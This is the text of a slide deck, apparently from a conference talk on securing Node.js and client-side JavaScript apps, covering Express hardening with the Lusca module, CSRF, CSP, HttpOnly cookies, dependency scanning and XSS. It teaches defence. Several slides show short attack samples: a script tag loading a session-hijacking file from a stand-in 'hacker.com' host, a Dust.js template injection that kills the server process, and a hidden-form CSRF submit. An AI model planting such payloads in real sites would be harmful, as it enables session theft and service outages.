Slide 1

Slide 1 text

SECURING YOUR JAVASCRIPT APPS

Slide 2

Slide 2 text

Node & Client-side JS

Slide 3

Slide 3 text

@mark_stuart @mstuart

Slide 4

Slide 4 text

How are you using JavaScript?

Slide 5

Slide 5 text

Why security?

Slide 6

Slide 6 text

No content

Slide 7

Slide 7 text

No content

Slide 8

Slide 8 text

No content

Slide 9

Slide 9 text

Not just PayPal, but your company too.

Slide 10

Slide 10 text

No content

Slide 11

Slide 11 text

No content

Slide 12

Slide 12 text

No content

Slide 13

Slide 13 text

Web Security State of the Union 2014

Slide 14

Slide 14 text

Same vulnerabilities. Nothing new.

Slide 15

Slide 15 text

ok cya.

Slide 16

Slide 16 text

Node

Slide 17

Slide 17 text

Know what you require() Rule #1 ! ! !

Slide 18

Slide 18 text

NPM has ~75,000 modules

Slide 19

Slide 19 text

Anyone can publish anything

Slide 20

Slide 20 text

And they can do some terrible things

Slide 21

Slide 21 text

Use good security defaults Rule #2 ! ! !

Slide 22

Slide 22 text

Node is a set of barebones modules

Slide 23

Slide 23 text

HTTP OS DNS TLS/SSL Path Process UDP URL File System Crypto Buffer

Slide 24

Slide 24 text

Express is a barebones framework

Slide 25

Slide 25 text

Express does very little to secure your app

Slide 26

Slide 26 text

But, that’s okay!

Slide 27

Slide 27 text

… Drum roll …

Slide 28

Slide 28 text

No content

Slide 29

Slide 29 text

Enterprise-grade Express

Slide 30

Slide 30 text

Lusca App Security module for Express

Slide 31

Slide 31 text

var express = require(‘express’), app = express(), lusca = require(‘lusca’);

Slide 32

Slide 32 text

app.use(lusca.csrf()); app.use(lusca.csp({ /* ... */ })); app.use(lusca.hsts({ maxAge: 31536000 }); app.use(lusca.xframe('SAMEORIGIN')); app.use(lusca.p3p('ABCDEF')); app.use(lusca.xssProtection(true);

Slide 33

Slide 33 text

Pardon the interruption

Slide 34

Slide 34 text

CSRF

Slide 35

Slide 35 text

Trick victim’s browser into making malicious requests CSRF

Slide 36

Slide 36 text

All you need is a valid cookie. CSRF

Slide 37

Slide 37 text

CSRF " Victim somebank .com # Cookie

Slide 38

Slide 38 text

CSRF " Victim hackedsite .com somebank .com Cookie

Slide 39

Slide 39 text

CSRF ! document.forms.someHiddenForm.submit();

Slide 40

Slide 40 text

It’s still just an HTTP request. CSRF

Slide 41

Slide 41 text

If only we had a way to ensure requests were legitimate… CSRF

Slide 42

Slide 42 text

lusca.csrf();

Slide 43

Slide 43 text

Token synchronizer pattern lusca.csrf();

Slide 44

Slide 44 text

1. Creates a random token lusca.csrf(); (using some crazy crypto libraries)

Slide 45

Slide 45 text

2. Adds token to res.locals lusca.csrf();

Slide 46

Slide 46 text

3. Dump token on the page lusca.csrf();

Slide 47

Slide 47 text

4. Send token with every POST, PUT, DELETE request lusca.csrf();

Slide 48

Slide 48 text

$.ajaxPrefilter(function(options, _, xhr) { if (!xhr.crossDomain) { xhr.setRequestHeader('X-CSRF-Token', csrfToken); } }); lusca.csrf();

Slide 49

Slide 49 text

lusca.csrf(); 5. Verify token is correct, otherwise return 403.

Slide 50

Slide 50 text

CSP

Slide 51

Slide 51 text

CSP is really awesome.

Slide 52

Slide 52 text

It’s basically a whitelist.

Slide 53

Slide 53 text

Content-Security-Policy: default-src 'self' https://*.your-cdn.com; script-src 'self' https://*.your-cdn.com; img-src https://*.your-cdn.com data:; object-src 'self'; font-src 'self' https://*.googlefonts.com; connect-src … frame-src … style-src … media-src …

Slide 54

Slide 54 text

No content

Slide 55

Slide 55 text

lusca.csp( { /* … */ } );

Slide 56

Slide 56 text

lusca.csp({ "default-src": "'self' https://*.your-cdn.com”, "script-src": “'self' https://*.your-cdn.com”, "img-src": “https://*.your-cdn.com data:”, "font-src": “‘self’", “report-uri”: “https://mysite.com/cspReporter” });

Slide 57

Slide 57 text

“report-uri”: “https://mysite.com/cspReporter”

Slide 58

Slide 58 text

lusca.hsts();

Slide 59

Slide 59 text

lusca.hsts(); Ensures HTTPS traffic

Slide 60

Slide 60 text

lusca.hsts(); Helps prevent MITM attacks

Slide 61

Slide 61 text

lusca.xframe();

Slide 62

Slide 62 text

lusca.xframe(); Prevent others from loading your app in an iframe

Slide 63

Slide 63 text

No content

Slide 64

Slide 64 text

app.use(lusca.xssProtection()); app.use(lusca.p3p());

Slide 65

Slide 65 text

app.use(lusca.csrf()); app.use(lusca.csp({ /* ... */ })); app.use(lusca.hsts({ maxAge: 31536000 }); app.use(lusca.xframe('SAMEORIGIN')); app.use(lusca.p3p('ABCDEF')); app.use(lusca.xssProtection(true);

Slide 66

Slide 66 text

HTTPOnly cookies

Slide 67

Slide 67 text

Prevents session hijacking HTTPOnly cookies

Slide 68

Slide 68 text

app.use(express.session({ secret: ‘0m6!s3cr37’, cookie: { httpOnly: true, secure: true }, })); HTTPOnly cookies

Slide 69

Slide 69 text

Set-Cookie:! connect.sid=%3AbzLqvcp7DnQJMaLAPmJ7p; ! Path=/; Expires=Wed, 21 May 2014 18:26:44 GMT; HttpOnly HTTPOnly cookies

Slide 70

Slide 70 text

Handle errors, or crash. Rule #3 ! ! !

Slide 71

Slide 71 text

! Wed, 21 May 2014 18:49:00 GMT ! uncaughtException Object # has no method ‘forEach'! ! TypeError: Object # has no method 'forEach'! at module.exports.fetchSettings (/Users/marstuart/oddjob/helpers.js:174:18)! ! Process finished with exit code 1!

Slide 72

Slide 72 text

Basically, a DOS attack

Slide 73

Slide 73 text

Either catch them, or restart

Slide 74

Slide 74 text

Eval is still evil Rule #4 ! ! !

Slide 75

Slide 75 text

Node is still JavaScript

Slide 76

Slide 76 text

Dust.js {@if cond=“{cardType} === ‘VISA’”}
  • {/if}

    Slide 77

    Slide 77 text

    Node Security Project http://nodesecurity.io

    Slide 78

    Slide 78 text

    Audit all modules in NPM

    Slide 79

    Slide 79 text

    Contribute patches

    Slide 80

    Slide 80 text

    Educate others

    Slide 81

    Slide 81 text

    No content

    Slide 82

    Slide 82 text

    Scan for vulnerable modules Rule #5 ! ! !

    Slide 83

    Slide 83 text

    npm install grunt-nsp-package —save-dev grunt validate-package

    Slide 84

    Slide 84 text

    No content

    Slide 85

    Slide 85 text

    Make it a part of your CI

    Slide 86

    Slide 86 text

    Update your dependencies Rule #6 ! ! !

    Slide 87

    Slide 87 text

    Add a badge to your README

    Slide 88

    Slide 88 text

    david-dm.org

    Slide 89

    Slide 89 text

    No content

    Slide 90

    Slide 90 text

    ESLint custom rules

    Slide 91

    Slide 91 text

    Let’s recap…

    Slide 92

    Slide 92 text

    1. Know what you’re require()’ing 2. Node is still JavaScript 3. Use good security defaults 4. Security can be automated, too!

    Slide 93

    Slide 93 text

    Client-side JS

    Slide 94

    Slide 94 text

    Content injection

    Slide 95

    Slide 95 text

    XSS sucks. It’s everywhere.

    Slide 96

    Slide 96 text

    Escape everything. Rule #1 ! ! !

    Slide 97

    Slide 97 text

    <script src='http://hacker.com/ sessionhijacker.js'></script>

    Slide 98

    Slide 98 text

    User input and “backend” data

    Slide 99

    Slide 99 text

    Persistent or Stored XSS

    Slide 100

    Slide 100 text

    " Attacker yoursite.com PUT /account/edit { firstName: ‘…’ } " Victim " Victim <script>… GET /addressBook … GET /addressBook yoursite.com yoursite.com

    Slide 101

    Slide 101 text

    Don’t trust backend services to escape properly

    Slide 102

    Slide 102 text

    Know your templating library. Rule #2 ! ! !

    Slide 103

    Slide 103 text

    Use it properly.

    Slide 104

    Slide 104 text

    Underscore templates

    Slide 105

    Slide 105 text

    ” /> ” />

    Slide 106

    Slide 106 text

    Dust.js templates

    Slide 107

    Slide 107 text

    {@if cond=“{cardType} === ‘VISA’”}
  • {/if}

    Slide 108

    Slide 108 text

    {@if cond=“{zipCode} === {defaultZipCode}”}
  • {/if} { “zipCode”: “\\”, “defaultZipCode”: “);process.exit();//“ }

    Slide 109

    Slide 109 text

    Your server’s crashed. $

    Slide 110

    Slide 110 text

    Upgrade your front-end dependencies. Rule #3 ! ! !

    Slide 111

    Slide 111 text

    Retire.js

    Slide 112

    Slide 112 text

    jQuery <1.9.0 jQuery Mobile <1.0.1 Backbone <0.5.0 Angular <1.2.0 Handlebars <1.0.0 YUI <3.5.0 Ember <1.3.0 Mustache <0.3.1

    Slide 113

    Slide 113 text

    Running "retire:jsPath" (retire) task! ! >> test-files/jquery-1.6.js! >> ↳ jquery 1.6 has known vulnerabilities: http://web.nvd.nist.gov/view/ vuln/detail?vulnId=CVE-2011-4969! ! >> Aborted due to warnings. npm install grunt-retire --save-dev grunt retire

    Slide 114

    Slide 114 text

    Automate it!

    Slide 115

    Slide 115 text

    Rules of Thumb

    Slide 116

    Slide 116 text

    No matter what you do, someone will always find a way in

    Slide 117

    Slide 117 text

    But, you’ll get 80% there if you…

    Slide 118

    Slide 118 text

    Choose libraries with good security defaults. ! ! !

    Slide 119

    Slide 119 text

    Sanitize data coming in and going out. ! ! !

    Slide 120

    Slide 120 text

    Update your dependencies! ! ! !

    Slide 121

    Slide 121 text

    Automate security, too. ! ! !

    Slide 122

    Slide 122 text

    thanks!

    Slide 123

    Slide 123 text

    mark stuart @mark_stuart @mstuart

    Slide 124

    Slide 124 text

    Links https://github.com/nodesecurity/grunt-nsp-package https://github.com/bekk/grunt-retire https://nodesecurity.io/ https://github.com/evilpacket/helmet http://krakenjs.com/ https://github.com/krakenjs/lusca https://david-dm.org/ https://www.owasp.org/index.php/Cross-Site